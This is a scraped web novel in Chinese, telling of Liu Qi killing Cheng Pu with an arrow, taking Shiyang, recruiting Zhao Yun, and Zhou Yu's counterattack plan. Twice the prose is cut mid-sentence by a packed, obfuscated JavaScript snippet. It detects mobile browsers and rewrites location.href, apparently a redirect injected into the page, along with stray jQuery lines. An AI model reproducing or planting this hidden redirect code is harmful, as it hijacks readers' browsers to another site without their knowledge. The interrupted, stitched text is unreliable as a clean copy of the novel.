目光掠过百步外的树桩,那种奇妙的聚焦感又出现在刘琦眼中了,远处的景物仿佛被拉近到眼前,连树皮上的纹路都清晰可见。 “既然上天赐予这般天赋,”刘琦在心中默念,“我自当善加利用。” 黄忠见刘琦神色变幻,急忙上前关切地问道:“主公可是方才强拉三石弓,伤了筋骨?” 黄忠语气中带着自责,“都怪末将冒失,那三石弓便是宿将也不能轻易拉开,主公初学箭术,实在不该......” 刘琦回过神来,活动了下手臂,笑道:“汉升多虑了,并无不适。” 说着刘琦掂了掂手中的铁胎弓,“只是觉得此弓虽好,日常使用确实吃力了些。” 闻言黄忠这才松了口气,连忙道:“主公若是要寻防身之用,二石弓便绰绰有余。” “寻常皮甲在百步内一箭可破,便是铁甲,五十步内也能洞穿。” 说着便命亲兵取来一张制作精良的二石弓,“这张弓轻巧趁手,正适合主公日常佩戴。” 刘琦接过二石弓,随手试拉,果然比那铁胎弓轻松许多。 从这天起,黄忠教得分外用心。 不仅讲解站姿、指法等基础,连黄忠多年摸索出来的独门呼吸法、移动靶预判技巧等都倾囊相授。 而刘琦或许是魂穿而来,融合了两个灵魂,不仅是力量大涨,眼部自带聚焦摄像头。 就连黄忠所授的技巧都学得也极快,不过数日,刘琦便将黄忠所授的技巧学的七七八八。 这让黄忠等人更加认定刘琦就是百年难得一遇的天才! ----------- 石阳戍关隘高三丈有余,墙体以青石垒砌,本是易守难攻的天险。 可此刻关墙上却是一片狼藉——荆州军堆筑的土山竟高出关墙一丈,如同一个巨大的阴影笼罩在守军心头。 程普一拳砸在垛口上,震得墙灰簌簌落下,脸色铁青地望着对面土山上来回走动的荆州**手。 这些日子,土山已经推进到距关墙不足百步的距离,荆州军站在高处俯射,箭矢如雨点般落下,而江东军却因射程不足,只能被动挨打。 而关墙上的守军如今只能靠着从关内小镇民宅拆来的门板遮身,每日佝偻着腰巡视,连抬头都要冒着被箭矢射中的风险。 最让人憋屈的是,刘琦根本不来攻城,就这么日复一日地用箭雨消磨着石阳戍守军的意志。 就在这时,土山上的荆州弓箭手又开始了新一轮的倾泻。 瞬间‘嗖嗖’的破空声不绝于耳,密集的箭雨如一阵飞蝗般坠向石阳戍。 “避箭!快避箭!” 程普厉声喝道,一把拽住身旁的亲卫蹲下身来。 箭矢‘夺夺’地钉在垛口和门板上,甚至越过墙头,落在关内的石板路上。 而守军们早已熟练地蜷缩在从民宅拆来的门板后,整个关墙上一时间竟无人敢直起身子。 待这一波箭雨稍歇,程普才带着亲卫们匆匆退下关墙,来到设在关墙下的临时指挥所。 副将宋谦紧随其后,刚摘下头盔就迫不及待地开口,声音里满是压抑的愤怒:“将军,刚才又伤了三个弟兄。” “而且今早换防时,发现两个士卒趁着夜色翻墙逃了......再这样下去,军心就要散了!” 程普愤怒地一拳砸在案几上,震得地图竹简等哗啦作响。 程普不是没想过对策,可每次派出去拆土垒的士卒,次次皆被都被箭雨打回来,死伤近百却连土垒的边都没碰着。 程普刚想说什么,就听见“报——” 一名斥候猫着腰闪进指挥所,“启禀将军,近日探得刘琦每日清晨都会在营东小树林旁练习箭矢,且只带百余亲卫,距大营约二里。” “哦?” 程普回头望向斥候,眼中瞬间闪过一丝锐光,“护卫只一两百?” “是!”斥候肯定道,“小人盯着三日了,每日都是如此。” 在确定消息准确后,程普不由得思索起来。 刘琦练习箭矢小树林的位置,程普知道,在刘琦大军还未来之前,那处小树林便是石阳戍守军拾取柴火的地方。 是以,程普当即唤来几名之前有去过小树林拾柴火的士卒,询问小树林的详情。 在得知小树林离关隘不算远,只有十里,且还可以藏人后。 程普的心思一下就活络起来了。 这刘琦小儿! 两军对垒之际,身为主帅不坐镇中军调度,反倒日日跑出营区外的林子练箭,还只带百来护卫,这不是把机会送到程普跟前吗? 刘琦这般行径,在程普眼中活脱脱是世家纨绔的做派:仗着出身掌了兵权,却连战场凶险都抛在脑后,只图自己消遣。 程普手指在桌案上轻轻敲击,一个完整的计谋渐渐在脑中清晰。 十里路不算远,夜里他亲自带五百部曲,从关隘西侧那处废弃的排水涵道潜出去。 那涵道窄小隐蔽,早年是石阳戍排涝用的,后来关隘加固便封了大半,只容单人弯腰通过,荆州军定然想不到他们会从这里走。 到时程普便潜伏在树林里,待到刘琦如往日般来练习箭术时,程普便率军杀出直取刘琦首级。 想来刘琦那纨绔子弟从没经历过阵前突袭,遇袭定是慌了神,凭五百部曲的精锐,擒杀他未必不能成! 程普是越想越觉得此计可行,于是便将这想法跟宋廉说道。 听完后,宋谦大惊:“将军不可!这分明是诱敌之计!” “诱敌?” 程普冷笑一声,指向关隘外土山上耀武扬威的荆州军,“再这么耗下去,不出十日,关隘必破!如今刘琦自恃勇武,轻身外出,此乃天赐良机啊!” 说着程普环视着蜷缩关墙下躲避箭雨士卒,声音沉痛: “弟兄们连日挨打,士气已濒临崩溃。若能擒杀刘琦,不仅可解石阳之围,更能顺势一举占据江夏!” “可是......”宋谦还要再劝。 “没有可是!” 程普斩钉截铁道,“待天黑之后,我便带着五百部曲趁夜潜出,埋伏在林中等刘琦明日再来。若事成,你便率军出 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这几日他特意选在此处练箭,就是要给程普一个出手的机会——此地距大营二里,快马一刻可至,正是诱敌的绝佳地点。 “退,但不必太快。”刘琦吩咐周围的护卫道。 同时目光看向已经开始出现无数人影闪烁的林中。 而当程普一马当先冲出树林,眼见刘琦的亲卫队形严整、进退有序,心中顿时一沉。 刘琦小儿这分明是早有准备,自己这是中圈套了! 但事已至此,程普退路已断,当下唯有拼死一搏。 “刘琦小儿,纳命来!” 是以,程普怒喝一声,随后不顾身后部曲,单骑突前直取刘琦。 刘琦在亲卫簇拥下策马后撤,眼见程普越来越近,直至五十步内。 五十步、四十步、三十步...... 在这个距离上,程普能清晰的看到刘琦在颠簸的马背上突然返身张弓。 程普心中瞬间警铃大作,几乎是本能地俯身贴紧马背,将整个身躯藏在马颈之后——这是程普在无数次沙场征战中练就出来的经验。 而程普这一俯身堪称精妙。 在刘琦的视角看去,只见程普身子目标面积顿时缩小了大半,且要害尽数被马颈遮挡。 寻常箭手面对这般情况,确实难以下手。 然而刘琦何许人也? 双魂融合赋予刘琦的不仅是力量,还有那可自动变焦的双眼。 只见刘琦屏息凝神,视线死死锁定在马背起伏间时隐时现的那道身影。 就在程普战马前蹄落地的瞬间,马头微微偏转,露出了程普左侧脖颈与肩甲之间的空隙瞬间,刘琦快速松开了手指上狼牙箭羽。 咻! 在二石强弓作用下,狼牙箭破空而去。 刘琦这一箭精准地抓住转瞬即逝的机会,从马颈左侧斜斜插入,正中程普肩颈交界之处! 呃! 程普闷哼一声,箭矢透甲而入。 程普难以置信地低头,看着深深没入身体的箭杆,手中长刀哐当落地。 刘琦这一箭不仅精准,力道更是惊人,竟穿透了护颈铁甲,贯穿了程普颈部。 “将军?!” 程普身后的部曲,发出惊恐的呼喊。 却见程普身躯晃了晃,终于支撑不住,重重摔**下。 随着程普跌落下马,瞬间整个战场陷入死寂。 恰在此时,黄忠率领伏兵从侧翼杀到。 远远地,黄忠远远看见这一幕,猛地勒住战马,倒吸一口凉气:“这、这一箭......” 黄忠此刻的震撼无以复加。 黄忠毕生钻研箭术,深知这一箭的难度,就算让黄忠自己来,也没有把握在颠簸的马背上一箭将敌将射杀。 而黄忠都被刘琦这一箭震惊的瞠目结舌,那身后的荆州军那就是目瞪口呆地望着自家主公,谁也不敢相信这一箭竟是出自那个传闻中文弱的长公子之手。 而程普的部曲更是面如死灰——他们亲眼目睹了程普如何施展精妙的骑术防御,却依然难逃这鬼神莫测的一箭! 这些跟随程普征战多年的子弟兵,多是程普从封邑里招来同乡同里的子弟,此刻见家主战死,顿时红了眼眶。 “为将军报仇!” 程普五百部曲不知谁先嘶吼一声,随后如同点燃了这五百部曲的内心般,瞬间全部人如同发狂的猛兽,不顾一切地冲向荆州军阵。 (本章完) 第46章 变卖家产!常山赵云欲出山! “为将军报仇!” 程普五百部曲不知谁先嘶吼一声,随后如同点燃了这五百部曲的内心般,瞬间全部人如同发狂的猛兽,不顾一切地冲向荆州军阵。 而刘琦早已与黄忠汇合,见状只是轻轻摇头。 刘琦知道这些皆是程普的私兵部曲。 在这个时代,将领普遍蓄养私兵组成自己的部曲,而这些部曲往往来自将领的封地或家乡,与主将有着深厚的主从情谊,甚至世代相随。 他们与其说是官兵,不如说是程氏一族的家兵。 而主将战死,他们若苟活回乡,不仅会受乡里唾弃,更会连累家人,不如战死沙场,还能保全家人和名誉。 刘琦虽然敬重这些部曲能为主尽忠的义举,但面对这些抱定必死之心的程普家兵部曲。 是以,刘琦并没有下令让人劝降,而是一挥手成全他们,令道:“将其全部射杀!” 黄忠闻言微微一怔,随即领会了刘琦的用意,立即传令:“**手准备——放!” 霎时间,箭矢如雨。 正在冲锋的程普部曲们瞬间成片倒下,却仍有人前仆后继。 一个满脸稚气的少年身中数箭,仍匍匐着向前爬行,口中兀自喊着:“为将军......报......仇......” 刘琦面无表情地看着这一幕。 刘琦虽然敬重这些士卒的忠义,但既然对方已经选择了这条不归路,刘琦也不会为了所谓的“仁义“之名而让己方将士冒险。 “继续放箭,直到无人站立。”刘琦的声音平静。 不过片刻功夫,程普五百部曲已全部倒在了血泊中,无一人后退,无一人投降。 他们用生命践行了对程普最后的忠诚,也保全了家乡亲族的颜面。 当战场重归寂静后,唯有风中飘散的血腥味见证着方才的惨烈。 “都是忠义之士啊,这程普治军,确实有其独到之处,能让五百部曲誓死相随,不愧为江东宿将。” 刘琦看着场面不禁感叹道。 黄忠默默跟在一旁,低声道:“战场之上,不是你死就是我亡,主公不必过于感伤。” 刘琦缓缓摇头:“我并非在伤感,只是在想,可惜了这些好儿郎,若是在太平年月,他们本该在家乡耕种劳作,娶妻生子......” 刘琦望着眼前这幅惨烈景象,沉默良久,忽然开口,声音比先前柔和了几分:“这些人虽是敌兵,却也是忠勇之士,不可让他们暴尸荒野。” 刘琦转头对**吩咐:“仲烈(**字),你带一队亲卫,寻些木板,给程普备一口薄棺与他的部曲一同收敛了。” 闻言**有些意外,战场厮杀,败者尸体多是随意掩埋,甚至弃之不顾任其暴尸荒野,而敌将则多是斩其首级悬于城门炫耀战功,或是拿去震慑残余守军。 而刘琦却要将程普的尸身与部曲都要妥善安葬,这份心思实在少见。 不过**虽然诧异,但也没有多问,躬身应道:“末将领命。” “主公英明。”黄忠躬身应道,眼中闪过一丝敬意。 黄忠征战半生,见多了胜者将败者尸体弃之荒野、甚至挫骨扬灰的景象,那些所谓的名将,往往以践踏败者的最后那一丝尊严来彰显自己的威势。 可眼前的刘琦,明明可以像其他人一样,将程普首级悬于关前震慑守军,却选择以礼相待,在这乱世之中,能保持这般胸襟的主君,实在难得。 待战场清理完毕,已是黄昏时分。 当夜,刘琦在中军大帐内召集众将校议事。 “程普既死,石阳戍守军必已军心涣散。” 刘琦指着舆图说道,“这些日子我军堆筑土山,箭雨日夜不停,关内守军想必早已疲惫不堪。” “明日一早,大军开赴关前,将程普的旗帜、兵器陈列阵前,给他们最后一个归降的机会。” 王朗进言:“主公明鉴,守军连日受困,如今主将战死,正是劝降良机。” “不错。” 刘琦点头,“我虽定下与江东长期周旋、消耗其兵力的方略,但若能以极小代价取下关隘,自是乐见其成。” “如此既能保全我军实力,又能加速推进至夏口城下也好让那位新任吴侯感受几分压力。” 王朗闻言肃然道:“主公英明!石阳戍乃夏口城门户,如今数日即破,想必那孙权得知消息后,怕是要寝食难安了。“ 黄忠更是朗声大笑:“何止寝食难安!” “要我说,那孙权小儿得知程普战死、石阳失守,怕是连觉都睡不着了!” “主公神武,岂是这等孺子所能抵挡?“ 刘琦微微一笑,目光扫过二位将领:“既然如此,明日便让孙权好生看看,我荆州军的威风。” 而帐内其他将校见状也纷纷颔首,称赞主公英明! 就在刘琦部署次日行动的同时,石阳戍关隘内的宋濂正焦虑地在敌楼内踱步。 此时天色已完全暗下,程普率部潜伏出去已近六个时辰,却始终杳无音信。 关外一片寂静,连半点厮杀声都不曾传来,这反常的安静让他心中愈发不安。 “将军,程将军他们......”亲兵欲言又止。 宋濂摆手打断,眉头紧锁。他何尝不担忧? 只是关隘与小树林相隔十里,白日间自己又被土山上的箭雨压制,根本无法探查到情况。 “传令各哨位加强戒备。”宋廉沉声吩咐,心中却已做了最坏的打算。 这一夜,宋濂辗转难眠。 待到天边泛起鱼肚白时,一夜未眠的宋廉索性起身登城。 当看到远方荆州军大营炊烟袅袅升起,一切如常时,宋廉心中最后一丝希望也破灭了。 果然,辰时刚过,地平线上便出现了黑压压的军阵。 “校尉!荆州军全军出动!”哨兵的声音里带着颤抖。 宋廉有眼睛,所有不用哨兵说,他也看见了荆州军全军出动了。 辰时的晨光斜斜洒在战场上,随着荆州军步步逼近至二百步,阵前那辆慢悠悠行来的牛车愈发清晰。 车辕上插着程普的“程”字将旗,车板上摊开的甲胄、横放的**,亦是程普平日征战时的惯用之物。 宋廉看完闭目长叹,此刻宋濂心中可谓是百感交集。 这些日子守军日夜承受箭雨侵袭,连抬头都要冒着生命危险。 作为江东将领,宋廉既不能主动献关了结这份煎熬,又不能出关与荆州军一较高下,这样不管输赢与宋廉而言都算是一种解脱。 是以,当宋濂环视四周,只见关墙上的守军更是惶恐不安。 有人两股战战,面如土色,有人已经悄悄卸下甲胄,显然是准备随时逃命,更有甚者,已经悄悄将同僚护在身前,想要躲进城楼之中。 “校尉,要不要......” 宋廉的亲兵队长自然是看见了,守军的样态,于是凑近低语,语气中询问宋廉要不要将那些想临阵脱逃的士卒抓回来斩首示众。 宋濂抬手制止了亲兵队长后面的话。 这些日子在荆州军箭雨的持续打击下,守军士气早已崩溃。 如今程普战死,最后一点抵抗意志也随之瓦解。 此时若再强令守军抵抗,只怕会引发兵变。 到时恐怕自己的项上人头就会成为这些士卒向刘琦的邀功之物。 就在此时,关下又传来一声高喝: “程普已死!尔等还不速降,更待何时?” 这一声如同压垮骆驼的最后一根稻草,关墙上顿时一片哗然。 几个之前是江夏士卒的守军竟然当众扔下兵器,跪地求饶。 宋濂闭目长叹,知道大势已去。 “开城——投降!” 说完,宋廉缓缓抽出佩剑,悲声道:“程将军,属下无能,不能据关守敌了,唯有以死谢罪!” 说罢宋廉就要自刎,身旁亲兵大惊失色,急忙扑上前死死抱住宋廉的手臂。 “将军不可!” “将军三思啊!” 宋濂挣扎着,泪流满面:“放开我!我宋濂无能,既不能退敌,又不能守关,还有何面目活在世上?” 宋濂此刻内心充满羞愧,作为江东将领,他本该与关隘共存亡,但连日来被荆州军箭雨压制得抬不起头,既无法还击,又不能突围,这种束手无策的折磨让他备受煎熬。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591510|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>如今主将战死,自己若再献关投降,实在无颜面对江东父老。 “校尉....” 一个老亲兵跪地哭道,“您若寻死,弟兄该怎么办?总要有人带着他们寻条活路啊!” 这番话让宋濂动作一滞,环视四周,看着一张张惶恐不安的面孔,宋廉长叹一声,松开了握剑的手。 佩剑‘哐当’一声落在地上,在关墙上格外响亮。 沉重的城门缓缓开启,宋濂率先走出关隘,身后跟着面露喜色的士卒们。 当宋廉走到刘琦马前,单膝跪地时,声音异常平静:“降将宋濂,率石阳戍全体守军,愿降。” 刘琦端坐马上,目光扫过这些面带倦容的江东将士,缓缓开口:“尔等既愿归降,我自当以诚相待。” “而尔等中若有愿从军者,编入行伍,愿归乡者,发给路费。” “谢主公。” 宋濂深深叩首,心中的石头终于落地。 当投降的守军依次走出关隘时,黄忠策马来到刘琦身侧,低声道:“主公,如此一来,夏口便门户大开了。” 刘琦望着东南方向,嘴角微扬:“传令全军,在石阳戍休整三日,三日后,兵发夏口!” “同时,给士元——石阳已下,可以让水师往前挪一挪了。” 刘琦顿了顿,补上一句:“顺便也给周瑜书信一封,他的水寨要是还不挪窝……我可就去江边练箭了。” 黄忠先是一愣,随即哈哈大笑。 是日,刘琦破石阳捷报传到江南庞统水寨。 庞统得信后抚掌而笑,当即下令水师前出二十里择机另建水寨。 周瑜闻讯,沉默良久,最终不得不将夏口水寨后撤十里避其锋芒。 江北陆路至此贯通,刘琦军对夏口正式形成水陆合围。 ------------- 而与此同时,河北,冀州,常山郡真定县郊外。 时值夏初,冀州大地虽已回暖,但连年的战乱让田野显得有些萧索,远山依旧带着北地特有的苍茫。 而在赵家庄内,一处还算齐整的院落中,赵云正对着一份简牍凝神思索。 赵云年约三旬,身高八尺有余,姿颜雄伟,即便穿着一身洗得发白的粗布衣衫,也难掩其挺拔英武之气。 此时的赵云刚刚处理完兄长去世后的诸多事宜,心中已然下了决断。 昔日,赵云受郡人推举,满怀匡扶社稷之志,率领义从投奔白马将军公孙瓒。 然而,公孙瓒得势后却骄矜猜忌,尽失民心,最终被袁绍困守易京,**而亡。 而赵云曾因兄长去世离去,归来后见旧主已然败亡,心中那份依托明主、建功立业的期望也随之破灭。 而如今中原大地,袁绍与曹操即将决战于官渡,烽火连天,百姓流离。 他赵云空有一身武艺,却报效无门,只能暂归故里,等待时机,同时也在观察着这纷乱天下的走势。 “唉……” 赵云轻叹一声,想起昨日,在一群从邺城过来游商口中得知,刘备如今依附于袁绍帐下。 赵云与刘备曾在公孙瓒麾下之时有一面之缘 因此赵云深知其仁德之名,本有心相投,但却听闻刘备在袁绍处亦颇受猜忌,且袁绍此人,外宽内忌,好谋无断,非成大事之主。 自己此刻前去,时机、似乎不太好。 不如尽快变卖家中田产、宅院等筹集一批钱粮,招募一批信得过的同乡子弟和义从,带着队伍去投奔刘备,总比孤身一人前去的分量要重一些,也能更快地在刘备麾下站稳脚跟,为将来做打算。 赵云并非一贫如洗的平民,他虽然不是富有千里田亩,却也是真定县外赵家庄里实打实的小地主。 到赵云这一辈时,家中握有村东120亩水田、村西210亩旱地与30多亩桑园,占庄里近六成田亩,还经营着村口两间铺面,是三代积累的家业。 就在赵云筹划着变卖家产、联络乡勇的具体事宜时,庄外传来了些许喧哗声。 庄口,风尘仆仆的张诚仅带着一名幸存的同伴,两人衣衫破损,面带疲惫,战马也显得颇为狼狈。 (本章完) 第47章 周瑜震怒:刘琦,你藏得好深! 庄口,风尘仆仆的张诚仅带着一名幸存的同伴,两人衣衫破损,面带疲惫,战马也显得颇为狼狈。 自那日他们奉刘琦之命北上寻访赵云后,一路上经历的艰辛可谓是数不胜数。 其中最为惊险的便是在试图穿越袁、操角力的官渡战线附近时,他们被一队袁军巡哨误认为是曹操的斥候,遭遇了凶狠的追杀。 一番苦战,两名同伴为了掩护他们突围而战死,张诚和另一名护卫也是拼尽全力才摆脱追兵,丢失了部分行李,好不容易才根据打听到的模糊信息,摸到了赵云的家乡——真定赵家庄。 刚入庄内,张诚便拉住一位庄民,声音因疲惫和脱水而沙哑:“这位乡亲,请问,庄内可有一位名叫赵云、赵子龙的义士?我等有要事求见。” 而庄民看着两人这副浑身是伤,且急得额头冒冷汗的狼狈模样。 庄民随即想起平日里常听人说,赵家公子赵云以前在公孙瓒将军麾下当过差,庄民心里顿时有了数:这两人八成是赵公子以前的同僚,怕是在外面遭了难,特意来找赵公子的! 是以,庄民也不敢怠慢,指了指庄子中心那处较为体面的院落:“那边便是赵家,子龙兄长前些时日刚回来。” 张诚道谢后,与同伴互相搀扶着,朝着赵云家走去。 院内,赵云也听到了动静,放下简牍,迈步走出。 只见两名明显是远道而来、且经历过厮杀的陌生汉子站在自家门前,赵云心中顿时警觉,但看对方只有两人,状态不佳,不像是寻衅的,便沉声问道:“二位是?寻赵云何事?” 张诚见到眼前这魁梧雄伟、气宇轩昂的汉子,心中便已认定**分,强打精神,抱拳行礼,语气恭敬:“敢问尊驾,可是常山赵云,赵子龙?” “正是某家。” 赵云点头,目光锐利地扫过两人,“二位从何而来?为何……如此模样?” 张诚深吸一口气,从贴身处取出那封保存完好的绢布书信,双手奉上:“赵义士!我等乃荆州江夏太守刘琦公子麾下亲卫。” “奉公子之命,特来河北寻访义士!途中……途中不幸遭遇袁军哨骑,折了两位弟兄,方才如此狼狈。” “此乃我家公子写给义士的亲笔信,万望义士一观!” “刘琦?江夏太守?”闻言赵云心中更是惊疑。 一个远在荆州的宗室太守,怎么会知道自己? 而且还不远千里冒着生命危险派人送来书信? 赵云带着疑惑,接过书信,展开细读。 起初,赵云神色平静,但随着阅读深入,赵云的神色逐渐发生了变化。 信中,刘琦并未以高官厚禄相诱,而是言辞恳切地自陈身为汉室宗亲,目睹汉室垂危,山河破碎,心中立志上匡扶汉室、下安抚黎庶。 而更让赵云惊讶的是,刘琦在信中不仅知晓他早年事迹,还称赞其“忠勇无双,心存仁义”。 以及信末刘琦更是详细阐述了自身“安抚黎民”的志向,以及在江夏已经开始践行的招揽流民、安置老弱等仁政举措。 刘琦信件字里行间充满诚恳与对赵云的渴慕,邀请他南下共图大业。 看完信件,赵云心中已崛起波涛巨浪。 “这…这刘府君,竟对我一介北地武夫也如此知悉?” “连我昔日劝阻公孙瓒勿扰民的微末小事也.....” 看完信件的赵云心中震动不已,一股难以言喻的暖流涌过。 他赵云所求,非名利富贵,正是一位能理解自己志向、能让自己践行心中理念的明主! 尤其信中那句“心存仁义”,可谓直击赵云内心最深处的坚守。 这封信,与赵云内心对明主的期盼高度契合! 赵云原本打算去投刘备,正是因为刘备以仁德著称。 而这位素未谋面的刘琦,不仅在信中展现了同样的志向,更重要的是,刘琦已经是实权在握的江夏太守,拥有了一块可以实施心中抱负的根基! 并且,刘琦能如此清晰地洞察自己的志向,这份知遇之恩,让赵云深感感动。 与之相比之下,刘备此刻尚在袁绍麾下,前途未卜,自己即便变卖家产带人前去,也难免要仰人鼻息,何时能真正一展抱负还是未知数。 而刘琦的邀请,直接给赵云提供了一个可以施展抱负的平台。 张诚见赵云沉吟不语,知道能否成功就在此一举,张诚再次躬身,语气恳切:“赵义士,我家公子求贤若渴,常言‘若得子龙,如虎添翼’。” “如今公子在荆州翘首以盼,望义士能南下相助,共扶汉室!此番我等北上,历经生死,亦足见公子诚意!” 赵云的目光扫过张诚二人疲惫而坚定的面容,以及他们身上尚未干透的血迹和尘污,心中触动。 为了招揽自己,刘琦竟派人不惜性命穿越战火,这份诚意,确实远超寻常。 赵云原本打算变卖家产招募部曲去投刘备的计划,在刘琦这封突如其来的书信和使者带来的震撼面前,开始动摇了。 一个是已知的、但充满不确定性的选择,另一个是未知的、但看似更具诚意和清晰前景的邀请。 但只是片刻的权衡后,赵云眼中闪过一丝决断。 赵云将书信仔细收好,贴身放入怀中,对张诚及其同伴郑重抱拳,语气诚恳: “刘府君志存高远,心系黎民,更是如此看重云!” “此等知遇之恩,云,铭感五内,岂能不以死效之?” 接着赵云话锋一转,继续说道:“然,云家中尚有些许田产宅院需尽快处置,方能了无牵挂南下。” “此外,既欲投效明主,建功立业,云亦打算借此机会,招募几位信得过的同乡义士一同前往,也好为府君稍添助力。此事非三两日可毕。” 说着,赵云侧身让开道路,做出邀请的姿态:“二位远来辛苦,更兼途中历险,折损同伴,身心俱疲。” “若蒙不弃,请在寒舍暂歇几日,待云处置完琐事,便与二位一同起程,南下江夏,拜见府君!如何?” 张诚闻言,与同伴对视一眼,心中都是一松,随即涌上浓浓的感激与欣慰。 他们此行任务可谓圆满完成,甚至超出了预期。 不仅找到了赵云,对方更是如此果断地答应投效,还体恤他们辛苦,允诺同行,一时间张诚觉得连日奔波的疲惫仿佛都减轻了不少。 “赵义士深谋远虑,安排周详,张诚感激不尽!那……我等便叨扰几日!”张诚连忙抱拳回礼,他此刻最需要的,正是一个安全的落脚点和宝贵的喘息之机。 “请!” 赵云见状,心中更生几分体谅,不再多言,亲自引着二人进入自家院落,立刻吩咐老仆准备热水、饭食,并收拾客房。 然后赵云则转身便开始着手规划变卖产业、联络乡勇之事,雷厉风行,毫不拖沓。 ------------------ 石阳戍陷落,程普战死的消息,如同插上了翅膀,迅速传遍大江两岸。 荆州军士气如虹,水陆并进,对夏口形成更紧密的包围之势。 而刘琦主力在进驻石阳戍稍作休整后,便剑指夏口城。 庞统统领的荆州水师,依照刘琦将令,前出二十里,在江面之上咄咄逼人,仿佛一柄出鞘的利刃,悬于周瑜水寨之前。 夏口,江东军大帐。 周瑜面沉如水,凝视着面前精致的江夏舆图。 舆图上,代表荆州军的赤色小旗已密密麻麻插满了石阳戍至夏口一线,水路上的赤旗更是直接就在周瑜原本的水寨位置。 尽管周瑜已将水寨后撤十里,避开了刘琦从陆上掏他后背的威胁,但这份退让,于周瑜而言,无疑是奇耻大辱。 帐内鸦雀无声,唯有灯花偶尔爆开的轻微噼啪声。 诸将皆屏息垂首,不敢与主帅那隐现烈焰的目光对视。 周瑜的指尖缓缓划过舆图上“石阳戍”的位置,脑海中浮现的,却是截然不同的两幅画面。 一幅,是不久前周瑜接到细作回报,说刘琦终日在大营练箭时的不屑。 那时周瑜嗤之以鼻,对左右言道:“刘景升之子,素无英名,不过倚仗父荫,坐领江夏。” “其麾下庞统、甘宁、黄忠,或可称俊杰,然主庸则臣劳,此辈尽力,亦难挽狂澜。” “刘琦小儿,纨绔子弟耳,临阵练箭?不过是世家子效仿名将风雅,装点门面罢了。” 在周瑜心中,刘琦始终是那个躲在文臣武将身后,缺乏真正魄力和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591511|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能力的“幸运儿”,荆州军的威胁,九成在于庞统之谋、甘宁之勇、黄忠之烈,而非刘琦本人。 而另一幅画面,则是斥候拼死带回的,关于程普战死的详细描述。 刘琦如何在颠簸马背上,于五十步内,一箭洞穿程普借助马颈掩护的肩颈要害! 这一箭,那精准、那冷静、那刁钻……这哪里是什么“效仿风雅”? 就算是沙场宿将都未必有这箭术。 “甘宁百人踏营,焚我粮草,乱我军心……” “……刘琦,阵前**箭,诱杀程公,迫降石阳……” 周瑜的声音很轻,几乎像是自语,但每一个字都带着刺骨的寒意,敲打在帐内每一个人的心上。 周瑜猛地睁开眼,那往日智珠在握的双眼,此刻再无半分儒雅从容,只剩下被彻底激怒的冰冷和一丝……连周瑜自己都不愿承认的震惊。 “好……好一个刘景升之子!” 这声“好”,几乎是从周瑜牙缝里挤出来的。 程普,江东宿将,孙氏肱骨,竟然……竟然死在了周瑜一直视为“纨绔”、“庸主”的刘琦箭下! 这不是死于战场上的流矢,而是被刘琦精准地抓住了他们轻敌的心理,布下此局! 他周瑜英明一世,竟也坠入彀中,成了助长刘琦威名的垫脚石! 而之前的种种,刘琦看似“纨绔”的练箭行为,荆州军稳扎稳打的土山推进…… 此刻串联起来,都指向一个让周瑜脊背发凉的结论:刘琦从一开始就在伪装,在示弱,其目的就是引诱程普犯错,然后给程普致命一击! 而程普,竟然真的上当了! 刘琦这一箭如同给了他周瑜一记响亮的耳光! 周瑜之前的判断,他的不屑,在此刻看来,如同小丑的臆想,愚蠢而可笑。 一时间一股耻辱感如同毒焰,灼烧着周瑜的理智。 周瑜不仅为程普之死、石阳之失而怒,更为自己看走眼,被刘琦狠狠“打脸”而怒! 周瑜深吸一口气,强行压下翻腾的气血。 从现在起,周瑜必须彻底重新审视刘琦这个对手。 刘琦,不再是那个可以轻易拿捏的刘表长子,而是一个必须全力以赴的敌人。 周瑜深吸一口气,暂时压下了胸腔内翻涌的怒火与耻辱。 周瑜强迫自己冷静下来,将个人情绪剥离出去。 此刻,周瑜不再是那个因判断失误而颜面扫地的统帅,而是变回那个为伯符(孙策)打下江东基业、算无遗策的周公瑾! 周瑜目光落在舆图上,大脑飞速运转,剔除了对刘琦的所有轻视后,对手的威胁等级骤然提升,但相应地,其行为模式似乎也清晰了一些。 “刘琦小儿,仗着些许诡计连番得手,便以为我江东无人耶?” 周瑜的声音恢复了往日的清朗。 “陆路暂避其锋,乃权宜之计,但这千里江面,仍是我周瑜说了算!” “他刘琦能用甘宁百人劫营,烧我粮草,我今日便以彼之道,还施彼身!” 接着周瑜迅速下达命令,思路清晰而狠辣: “凌操!” “末将在!”凌操出列,抱拳应道。 “命你率五十艘艨艟快船,多备火油硝石,今夜子时,借江雾掩护,突袭庞统新建之前沿水寨!” “此地原是我军水寨所在,水流、暗礁,你我皆了然于胸!利用此利,务必贴近纵火,不求你立大功,但要烧出我江东的威风,挫其锐气!” “末将遵命!” 凌操轰然应诺,眼中熊熊燃烧的复仇烈焰,既有为程普的悲愤,更多是为己雪耻的决绝! 今夜,他誓要斩下甘宁首级,一洗前番被其焚营戏耍之辱! “吕范!韩当!” “末将在!” “你二人各引一军,伏于夏口两侧水道。若荆州水师主力出寨救援前沿,便半途击之!若其不出,则待凌操得手后,趁乱掩杀,扩大战果!” “得令!” 周瑜的部署迅疾而精准。 周瑜判断刘琦陆军新胜,或许正沉浸于喜悦,略有松懈,而水师新立寨栅,防御未必完善。 更重要的是,周瑜此次部署充分利用了对旧水寨地形的熟悉,力求一击致命! (本章完) 第48章 